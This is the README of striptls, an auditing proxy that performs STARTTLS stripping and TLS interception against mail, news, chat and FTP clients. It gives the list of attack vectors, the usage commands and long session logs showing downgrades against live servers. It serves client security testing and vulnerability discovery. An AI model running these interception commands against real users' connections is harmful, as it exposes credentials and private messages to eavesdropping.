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striptls - auditing proxy
poc implementation of STARTTLS stripping attacks
A generic tcp proxy implementation and audit tool to perform protocol independent ssl/tls interception and STARTTLS stripping attacks on SMTP, POP3, IMAP, FTP, NNTP, XMPP, ACAP and IRC.
Python2!
:trophy: Trophies
- CVE-2016-0772 - python: smtplib
- CVE-2016-10027 - Smack XMPP library
<sub>//Discovered a vulnerability with the help of this project? Drop me a line!</sub>
Requires:
- Python >= 2.7.9 (
SSLContext) < Python 3 - (optional for tls interception) Certificate and PrivateKey in PEM format (single file)
--key=server.pem
Vectors
- GENERIC
- Intercept - protocol independent ssl/tls interception. peeks for TLS Handshake, converts socket to tls (tls-to-tls proxy)
- InboundIntercept - protocol independent ssl/tls interception for the inbound channel only (tls-to-plain proxy)
- SMTP
- SMTP.StripFromCapabilities - server response capability patch
- SMTP.StripWithInvalidResponseCode - client STARTTLS stripping, invalid response code
- SMTP.UntrustedIntercept - STARTTLS interception (client and server talking ssl) (requires server.pem in pwd)
- SMTP.StripWithTemporaryError
- SMTP.StripWithError
- SMTP.ProtocolDowngradeStripExtendedMode
- SMTP.InjectCommand
- SMTP.InboundStarttlsProxy - (starttls-to-plain proxy)
- POP3
- POP3.StripFromCapabilities
- POP3.StripWithError
- POP3.UntrustedIntercept
- IMAP
- IMAP.StripFromCapabilities
- IMAP.StripWithError
- IMAP.UntrustedIntercept
- IMAP.ProtocolDowngradeToV2
- FTP
- FTP.StripFromCapabilities
- FTP.StripWithError
- FTP.UntrustedIntercept
- NNTP
- NNTP.StripFromCapabilities
- NNTP.StripWithError
- NNTP.UntrustedIntercept
- XMPP
- XMPP.StripFromCapabilities
- XMPP.StripInboundTLS
- XMPP.UntrustedIntercept
- ACAP (untested)
- ACAP.StripFromCapabilities
- ACAP.StripWithError
- ACAP.UntrustedIntercept
- IRC
- IRC.StripFromCapabilities
- IRC.StripWithError
- IRC.UntrustedIntercept
- IRC.StripWithNotRegistered
- IRC.StripCAPWithNotregistered
- IRC.StripWithSilentDrop
Results:
- [*] client: 127.0.0.1
- [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
- [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
- [ ] <class striptls.StripFromCapabilities at 0xffd316bc>
- [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>
- [*] client: 192.168.139.1
- [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>
- [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
- [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>
Usage
#> python2 -m pip install striptls
#> python2 -m striptls --help
#> python -m striptls --help # from pip/setup.py
#> python striptls --help # from source / root folder
Usage: striptls.py [options]
example: striptls.py --listen 0.0.0.0:25 --remote mail.server.tld:25
Options:
-h, --help show this help message and exit
-q, --quiet be quiet [default: True]
-l LISTEN, --listen=LISTEN
listen ip:port [default: 0.0.0.0:<remote_port>]
-r REMOTE, --remote=REMOTE
remote target ip:port to forward sessions to
-k KEY, --key=KEY SSL Certificate and Private key file to use, PEM
format assumed [default: server.pem]
-s, --generic-ssl-intercept
dynamically intercept SSL/TLS
-b BUFFER_SIZE, --bufsiz=BUFFER_SIZE
-x VECTORS, --vectors=VECTORS
Comma separated list of vectors. Use 'ALL' (default)
to select all vectors, 'NONE' for tcp/ssl proxy mode.
Available vectors: ACAP.StripFromCapabilities,
ACAP.StripWithError, ACAP.UntrustedIntercept,
FTP.StripFromCapabilities, FTP.StripWithError,
FTP.UntrustedIntercept, GENERIC.Intercept,
IMAP.ProtocolDowngradeToV2,
IMAP.StripFromCapabilities, IMAP.StripWithError,
IMAP.UntrustedIntercept,
IRC.StripCAPWithNotRegistered,
IRC.StripFromCapabilities, IRC.StripWithError,
IRC.StripWithNotRegistered, IRC.StripWithSilentDrop,
IRC.UntrustedIntercept, NNTP.StripFromCapabilities,
NNTP.StripWithError, NNTP.UntrustedIntercept,
POP3.StripFromCapabilities, POP3.StripWithError,
POP3.UntrustedIntercept, SMTP.InboundStarttlsProxy,
SMTP.InjectCommand,
SMTP.ProtocolDowngradeStripExtendedMode,
SMTP.StripFromCapabilities, SMTP.StripWithError,
SMTP.StripWithInvalidResponseCode,
SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept,
XMPP.StripFromCapabilities, XMPP.StripInboundTLS,
XMPP.UntrustedIntercept [default: ALL]
Install (optional)
from pip
#> pip install striptls
from source
#> setup.py install
Examples
inbound outbound
[inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target]
smtp-client striptls remote/target
local smtp-client -> localhost:8825 (proxy) -> mail.gmx.net:25
Generic SSL/TLS Interception
--generic-ssl-intercept is a global switch to enable generic ssl/tls handshake
detection and session conversion. Can be combined with any mangle/vector.
GENERIC.Intercept is a mangle/vector implementation of the ssl/tls handshake
detect and convert feature.
# python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:465 -x GENERIC.Intercept
- INFO - <Proxy 0x1fdcf50 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 465)> ready.
- DEBUG - * added vector (port:None , proto: GENERIC): <class __main__.Intercept at 0x0218AAB0>
- INFO - <RewriteDispatcher ssl/tls_intercept=False vectors={None: set([<class __main__.Intercept at 0x0218AAB0>])}>
- INFO - <Session 0x1ff00b0> client ('127.0.0.1', 8228) has connected
- INFO - <Session 0x1ff00b0> connecting to target ('mail.gmx.com', 465)
- DEBUG - <RewriteDispatcher - changed mangle: __main__.Intercept new: True>
- INFO - ProtocolDetect: SSL/TLS version: TLS_1_0
- INFO - SSL Handshake detected - performing ssl/tls conversion
- DEBUG - <Session 0x1ff00b0> [client] <> [ ] SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG - <Session 0x1ff00b0> [ ] <> [server] SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG - <Session 0x1ff00b0> [client] <= [server] '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
- DEBUG - <Session 0x1ff00b0> [client] => [server] 'hi\r\n'
- DEBUG - <Session 0x1ff00b0> [client] <= [server] '500 Syntax error, command unrecognized\r\n'
# python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:25 -x NONE --generic-ssl-intercept
- INFO - <Proxy 0x1efbf70 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 25)> ready.
- INFO - <RewriteDispatcher ssl/tls_intercept=True vectors={}>
- DEBUG - <ProtocolDetect 0x1f21b70 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO - <Session 0x1f10110> client ('127.0.0.1', 8290) has connected
- INFO - <Session 0x1f10110> connecting to target ('mail.gmx.com', 25)
- DEBUG - <Session 0x1f10110> [client] <= [server] '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
- DEBUG - <Session 0x1f10110> [client] => [server] 'EHLO openssl.client.net\r\n'
- DEBUG - <Session 0x1f10110> [client] <= [server] '250-gmx.com Hello openssl.client.net [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0x1f10110> [client] => [server] 'STARTTLS\r\n'
- DEBUG - <Session 0x1f10110> [client] <= [server] '220 OK\r\n'
- INFO - ProtocolDetect: SSL/TLS version: TLS_1_0
- INFO - SSL Handshake detected - performing ssl/tls conversion
- DEBUG - <Session 0x1f10110> [client] <> [ ] SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG - <Session 0x1f10110> [ ] <> [server] SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
- DEBUG - <Session 0x1f10110> [client] => [server] 'EHLO A\r\n'
- DEBUG - <Session 0x1f10110> [client] <= [server] '250-gmx.com Hello A [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250AUTH LOGIN PLAIN\r\n'
Audit Mode
iterates all protocol specific cases on a per client basis and keeps track of clients violating the starttls protocol. Ctrl+C to abort audit and print results.
#> python striptls --listen localhost:8825 --remote=mail.gmx.net:25
- INFO - <Proxy 0xffcf6d0cL listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
- DEBUG - * added test (port:21 , proto: FTP): <class striptls.StripFromCapabilities at 0xffd4632c>
- DEBUG - * added test (port:21 , proto: FTP): <class striptls.StripWithError at 0xffd4635c>
- DEBUG - * added test (port:21 , proto: FTP): <class striptls.UntrustedIntercept at 0xffd4638c>
- DEBUG - * added test (port:143 , proto: IMAP): <class striptls.StripFromCapabilities at 0xffd4626c>
- DEBUG - * added test (port:143 , proto: IMAP): <class striptls.StripWithError at 0xffd4629c>
- DEBUG - * added test (port:143 , proto: IMAP): <class striptls.UntrustedIntercept at 0xffd462cc>
- DEBUG - * added test (port:119 , proto: NNTP): <class striptls.StripFromCapabilities at 0xffd463ec>
- DEBUG - * added test (port:119 , proto: NNTP): <class striptls.StripWithError at 0xffd4641c>
- DEBUG - * added test (port:119 , proto: NNTP): <class striptls.UntrustedIntercept at 0xffd4644c>
- DEBUG - * added test (port:110 , proto: POP3): <class striptls.StripWithError at 0xffd461dc>
- DEBUG - * added test (port:110 , proto: POP3): <class striptls.UntrustedIntercept at 0xffd4620c>
- DEBUG - * added test (port:25 , proto: SMTP): <class striptls.StripFromCapabilities at 0xffd316bc>
- DEBUG - * added test (port:25 , proto: SMTP): <class striptls.StripWithError at 0xffd4614c>
- DEBUG - * added test (port:25 , proto: SMTP): <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
- DEBUG - * added test (port:25 , proto: SMTP): <class striptls.StripWithTemporaryError at 0xffd4611c>
- DEBUG - * added test (port:25 , proto: SMTP): <class striptls.UntrustedIntercept at 0xffd4617c>
- DEBUG - * added test (port:5222 , proto: XMPP): <class striptls.StripFromCapabilities at 0xffd464ac>
- INFO - <RewriteDispatcher vectors={5222: set([<class striptls.StripFromCapabilities at 0xffd464ac>]), 110: set([<class striptls.UntrustedIntercept at 0xffd4620c>, <class striptls.StripWithError at 0xffd461dc>]), 143: set([<class striptls.StripWithError at 0xffd4629c>, <class striptls.UntrustedIntercept at 0xffd462cc>, <class striptls.StripFromCapabilities at 0xffd4626c>]), 21: set([<class striptls.UntrustedIntercept at 0xffd4638c>, <class striptls.StripFromCapabilities at 0xffd4632c>, <class striptls.StripWithError at 0xffd4635c>]), 119: set([<class striptls.StripWithError at 0xffd4641c>, <class striptls.UntrustedIntercept at 0xffd4644c>, <class striptls.StripFromCapabilities at 0xffd463ec>]), 25: set([<class striptls.StripWithInvalidResponseCode at 0xffd3138c>, <class striptls.StripWithTemporaryError at 0xffd4611c>, <class striptls.StripFromCapabilities at 0xffd316bc>, <class striptls.StripWithError at 0xffd4614c>, <class striptls.UntrustedIntercept at 0xffd4617c>])}>
- DEBUG - <ProtocolDetect 0xffcf6eccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO - <Session 0xffcf6e4cL> client ('127.0.0.1', 28902) has connected
- INFO - <Session 0xffcf6e4cL> connecting to target ('mail.gmx.net', 25)
- DEBUG - <Session 0xffcf6e4cL> [client] <= [server] '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n'
- DEBUG - <RewriteDispatcher - changed mangle: striptls.StripWithInvalidResponseCode new: True>
- DEBUG - <Session 0xffcf6e4cL> [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - <Session 0xffcf6e4cL> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0xffcf6e4cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0xffcf6e4cL> [client] => [server] 'STARTTLS\r\n'
- DEBUG - <Session 0xffcf6e4cL> [client] <= [server][mangled] '200 STRIPTLS\r\n'
- DEBUG - <Session 0xffcf6e4cL> [client] => [server][mangled] None
- DEBUG - <Session 0xffcf6e4cL> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
- DEBUG - <Session 0xffcf6e4cL> [client] <= [server] '530 Authentication required\r\n'
- DEBUG - <Session 0xffcf6e4cL> [client] => [server] 'rset\r\n'
- DEBUG - <Session 0xffcf6e4cL> [client] <= [server] '250 OK\r\n'
- WARNING - <Session 0xffcf6e4cL> terminated.
- DEBUG - <ProtocolDetect 0xffd0920cL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO - <Session 0xffd0918cL> client ('127.0.0.1', 28905) has connected
- INFO - <Session 0xffd0918cL> connecting to target ('mail.gmx.net', 25)
- DEBUG - <Session 0xffd0918cL> [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
- DEBUG - <RewriteDispatcher - changed mangle: striptls.StripWithTemporaryError new: True>
- DEBUG - <Session 0xffd0918cL> [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - <Session 0xffd0918cL> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0xffd0918cL> [client] => [server] 'STARTTLS\r\n'
- DEBUG - <Session 0xffd0918cL> [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n'
- DEBUG - <Session 0xffd0918cL> [client] => [server][mangled] None
- DEBUG - <Session 0xffd0918cL> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
- DEBUG - <Session 0xffd0918cL> [client] <= [server] '530 Authentication required\r\n'
- DEBUG - <Session 0xffd0918cL> [client] => [server] 'rset\r\n'
- DEBUG - <Session 0xffd0918cL> [client] <= [server] '250 OK\r\n'
- WARNING - <Session 0xffd0918cL> terminated.
- DEBUG - <ProtocolDetect 0xffd092ecL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO - <Session 0xffd0926cL> client ('127.0.0.1', 28908) has connected
- INFO - <Session 0xffd0926cL> connecting to target ('mail.gmx.net', 25)
- DEBUG - <Session 0xffd0926cL> [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
- DEBUG - <RewriteDispatcher - changed mangle: striptls.StripFromCapabilities new: True>
- DEBUG - <Session 0xffd0926cL> [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - <Session 0xffd0926cL> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0xffd0926cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
- WARNING - <Session 0xffd0926cL> terminated.
- DEBUG - <ProtocolDetect 0xffd093ccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO - <Session 0xffd0934cL> client ('127.0.0.1', 28911) has connected
- INFO - <Session 0xffd0934cL> connecting to target ('mail.gmx.net', 25)
- DEBUG - <Session 0xffd0934cL> [client] <= [server] '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
- DEBUG - <RewriteDispatcher - changed mangle: striptls.StripWithError new: True>
- DEBUG - <Session 0xffd0934cL> [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - <Session 0xffd0934cL> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0xffd0934cL> [client] => [server] 'STARTTLS\r\n'
- DEBUG - <Session 0xffd0934cL> [client] <= [server][mangled] '501 Syntax error\r\n'
- DEBUG - <Session 0xffd0934cL> [client] => [server][mangled] None
- DEBUG - <Session 0xffd0934cL> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
- DEBUG - <Session 0xffd0934cL> [client] <= [server] '530 Authentication required\r\n'
- DEBUG - <Session 0xffd0934cL> [client] => [server] 'rset\r\n'
- DEBUG - <Session 0xffd0934cL> [client] <= [server] '250 OK\r\n'
- WARNING - <Session 0xffd0934cL> terminated.
- WARNING - Ctrl C - Stopping server
- INFO - -- audit results --
- INFO - [*] client: 127.0.0.1
- INFO - [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
- INFO - [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
- INFO - [ ] <class striptls.StripFromCapabilities at 0xffd316bc>
- INFO - [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>
Strip STARTTLS from server capabilities
#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripFromCapabilities
- INFO - <Proxy 0x1fe6e70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
- INFO - <RewriteDispatcher attacks={25: set([<class __main__.StripFromCapabilities at 0x01FE77D8>])}>
- DEBUG - <ProtocolDetect 0x1fe6f90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO - <Session 0x1fe6f10> client ('127.0.0.1', 20070) has connected
- INFO - <Session 0x1fe6f10> connecting to target ('mail.gmx.net', 25)
- DEBUG - <Session 0x1fe6f10> [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
- DEBUG - <Session 0x1fe6f10> [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - <Session 0x1fe6f10> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0x1fe6f10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
- DEBUG - <Session 0x1fe6f10> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
- DEBUG - <Session 0x1fe6f10> [client] <= [server] '530 Authentication required\r\n'
- DEBUG - <Session 0x1fe6f10> [client] => [server] 'rset\r\n'
- DEBUG - <Session 0x1fe6f10> [client] <= [server] '250 OK\r\n'
- WARNING - <Session 0x1fe6f10> terminated.
Invalid STARTTLS response code
#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripWithInvalidResponseCode
- INFO - <Proxy 0x1fefe70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
- INFO - <RewriteDispatcher attacks={25: set([<class __main__.StripWithInvalidResponseCode at 0x02010730>])}>
- DEBUG - <ProtocolDetect 0x1feff90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO - <Session 0x1feff10> client ('127.0.0.1', 20061) has connected
- INFO - <Session 0x1feff10> connecting to target ('mail.gmx.net', 25)
- DEBUG - <Session 0x1feff10> [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
- DEBUG - <Session 0x1feff10> [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - <Session 0x1feff10> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0x1feff10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0x1feff10> [client] => [server] 'STARTTLS\r\n'
- DEBUG - <Session 0x1feff10> [client] <= [server][mangled] '200 STRIPTLS\r\n'
- DEBUG - <Session 0x1feff10> [client] => [server][mangled] None
- DEBUG - <Session 0x1feff10> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
- DEBUG - <Session 0x1feff10> [client] <= [server] '530 Authentication required\r\n'
- DEBUG - <Session 0x1feff10> [client] => [server] 'rset\r\n'
- DEBUG - <Session 0x1feff10> [client] <= [server] '250 OK\r\n'
- WARNING - <Session 0x1feff10> terminated.
Untrusted SSL Intercept (for clients not checking server cert trust)
#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.UntrustedIntercept
- INFO - <Proxy 0x1f468f0 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
- INFO - <RewriteDispatcher attacks={25: set([<class __main__.UntrustedIntercept at 0x01F45298>])}>
- DEBUG - <ProtocolDetect 0x1f46a10 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO - <Session 0x1f46990> client ('127.0.0.1', 20238) has connected
- INFO - <Session 0x1f46990> connecting to target ('mail.gmx.net', 25)
- DEBUG - <Session 0x1f46990> [client] <= [server] '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
- DEBUG - <Session 0x1f46990> [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - <Session 0x1f46990> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0x1f46990> [client] => [server] 'STARTTLS\r\n'
- DEBUG - <Session 0x1f46990> [client] <= [server][mangled] '220 Go ahead\r\n'
- DEBUG - <Session 0x1f46990> [client] <= [server][mangled] waiting for inbound SSL Handshake
- DEBUG - <Session 0x1f46990> [client] => [server] 'STARTTLS\r\n'
- DEBUG - <Session 0x1f46990> [client] => [server][mangled] performing outbound SSL handshake
- DEBUG - <Session 0x1f46990> [client] => [server][mangled] None
- DEBUG - <Session 0x1f46990> [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - <Session 0x1f46990> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250 AUTH LOGIN PLAIN\r\n'
- DEBUG - <Session 0x1f46990> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
- DEBUG - <Session 0x1f46990> [client] <= [server] '530 Authentication required\r\n'
- DEBUG - <Session 0x1f46990> [client] => [server] 'rset\r\n'
- DEBUG - <Session 0x1f46990> [client] <= [server] '250 OK\r\n'
- WARNING - <Session 0x1f46990> terminated.
XMPP Audit Trail
Example: Pidgin with optional transport security.
XMPP.StripInboundTLS - Inbound Plain - Outbound TLS - in case server requires starttls
python striptls --listen 0.0.0.0:5222 --remote jabber.ccc.de:5222 -k ../server.pem
- INFO - <Proxy 0x7f08322ba310 listen=('0.0.0.0', 5222) target=('jabber.ccc.de', 5222)> ready.
...
- DEBUG - <ProtocolDetect 0x7f083196a810 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
...
- INFO - <Session 0x7f083196a7d0> client ('192.168.139.1', 56888) has connected
- INFO - <Session 0x7f083196a7d0> connecting to target ('jabber.ccc.de', 5222)
- DEBUG - <Session 0x7f083196a7d0> [client] => [server] "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
- DEBUG - <RewriteDispatcher - changed mangle: striptls.StripInboundTLS new: True>
- DEBUG - <Session 0x7f083196a7d0> [client] <= [server] "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='13821701589972978594' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
- DEBUG - <Session 0x7f083196a7d0> [client] <= [server] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
- DEBUG - <Session 0x7f083196a7d0> [client] => [server][mangled] "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
- DEBUG - <Session 0x7f083196a7d0> [client] => [server][mangled] performing outbound SSL handshake
- DEBUG - <Session 0x7f083196a7d0> [client] <= [server][mangled] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/></stream:features>"
- DEBUG - <Session 0x7f083196a7d0> [client] => [server] "<iq type='get' id='purple9f914f80'><query xmlns='jabber:iq:auth'><username>tin</username></query></iq>"
- DEBUG - <Session 0x7f083196a7d0> [client] <= [server] "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='13515446948282835507' from='jabber.ccc.de' xml:lang='en'>"
- DEBUG - <Session 0x7f083196a7d0> [client] <= [server] "<stream:error><invalid-namespace xmlns='urn:ietf:params:xml:ns:xmpp-streams'></invalid-namespace></stream:error>"
- DEBUG - <Session 0x7f083196a7d0> [client] <= [server] '</stream:stream>'
- WARNING - <Session 0x7f083196a7d0> terminated.
XMPP.StripFromCapabilities - strip starttls server annoucement
- DEBUG - <ProtocolDetect 0x7f083196a990 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
- INFO - <Session 0x7f083196a910> client ('192.168.139.1', 56890) has connected
- INFO - <Session 0x7f083196a910> connecting to target ('jabber.ccc.de', 5222)
- DEBUG - <Session 0x7f083196a910> [client] => [server] "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
- DEBUG - <RewriteDispatcher - changed mangle: striptls.StripFromCapabilities new: True>
- DEBUG - <Session 0x7f083196a910> [client] <= [server] "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='12381525525258986322' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
- DEBUG - <Session 0x7f083196a910> [client] <= [server] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
- DEBUG - <Session 0x7f083196a910> [client] <= [server][mangled] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/></stream:features>"
- DEBUG - <Session 0x7f083196a910> [client] => [server] "<iq type='get' id='purplecfe2ee07'><query xmlns='jabber:iq:auth'><username>tin</username></query></iq>"
- DEBUG - <Session 0x7f083196a910> [client] <= [server] "<stream:error><policy-violation xmlns='urn:ietf:params:xml:ns:xmpp-streams'></policy-violation><text xml:lang='' xmlns='urn:ietf:params:xml:ns:xmpp-streams'>Use of STARTTLS required</text></stream:error></stream:stream>"
- WARNING - <Session 0x7f083196a910> terminated.
XMPP.StripUntrustedIntercept - TLS Interception inbound and outbound with own certificate/key
- DEBUG - <ProtocolDetect 0x7f083196aa90 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
- INFO - <Session 0x7f083196a8d0> client ('192.168.139.1', 56892) has connected
- INFO - <Session 0x7f083196a8d0> connecting to target ('jabber.ccc.de', 5222)
- DEBUG - <Session 0x7f083196a8d0> [client] => [server] "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
- DEBUG - <RewriteDispatcher - changed mangle: striptls.UntrustedIntercept new: True>
- DEBUG - <Session 0x7f083196a8d0> [client] <= [server] "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='10051743579572304948' from='jabber.ccc.de' version='1.0' xml:lang='en'><stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
- DEBUG - <Session 0x7f083196a8d0> [client] => [server] "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
- DEBUG - <Session 0x7f083196a8d0> [client] <= [server][mangled] "<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
- DEBUG - <Session 0x7f083196a8d0> [client] <= [server][mangled] waiting for inbound SSL Handshake
- DEBUG - <Session 0x7f083196a8d0> [client] => [server] "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
- DEBUG - <Session 0x7f083196a8d0> [client] => [server][mangled] performing outbound SSL handshake
- DEBUG - <Session 0x7f083196a8d0> [client] => [server][mangled] None
- DEBUG - <Session 0x7f083196a8d0> [client] => [server] '<'
- DEBUG - <Session 0x7f083196a8d0> [client] => [server] "stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
- DEBUG - <Session 0x7f083196a8d0> [client] <= [server] "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='6938642107398534259' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
